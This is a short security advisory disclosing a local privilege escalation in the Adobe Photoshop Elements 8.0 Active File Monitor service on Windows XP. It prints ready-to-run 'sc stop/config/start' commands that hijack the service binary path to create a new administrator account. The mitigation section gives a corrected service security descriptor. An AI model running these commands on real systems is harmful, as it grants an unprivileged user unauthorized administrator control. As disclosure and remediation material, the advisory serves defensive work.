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Adobe Photoshop Elements 8.0 Active File Monitor Service Bad Security Descriptor Local Elevation Of Privileges



Adobe Photoshop Elements 8.0 Active File Monitor Service Bad Security Descriptor Local Elevation Of Privileges
by Nine:Situations:Group::bellick
site: http://retrogod.altervista.org/

Tested on Microsoft Windows XP SP3

The "Adobe Active File Monitor V8" service is installed with an improper security descriptor.
A malicious user of the Users group (which on xp means a "limited account") can stop the service,
then invoke the "sc config" command to replace the binary path with a value of choice, then restart
the service to run the command with SYSTEM privileges ex., run theese commands as a limited user:

sc stop "AdobeActiveFileMonitor8.0"
sc config "AdobeActiveFileMonitor8.0" binPath= "cmd /c net user adobe kills /add && net localgroup Administrators adobe /add"
sc start "AdobeActiveFileMonitor8.0"
runas /noprofile /user:%COMPUTERNAME%\adobe cmd

now login as administrator with password "kills"

mitigation:

the security descriptor of the service is like this:

C:\>sc sdshow "AdobeActiveFileMonitor8.0"

D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;PU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

note the WO and WD permission for Everyone (!!!!!)

change the security descriptor like the following:

c:\sc sdset "AdobeActiveFileMonitor8.0" D:(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPLOCRRC;;;PU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPDTLOCRRC;;;SY)
[SC] SetServiceObjectSecurity SUCCESS

readings, interesting article:
http://msmvps.com/blogs/erikr/archive/2007/09/26/set-permissions-on-a-specific-service-windows.aspx

original url: http://retrogod.altervista.org/9sg_adobe_pe_local.html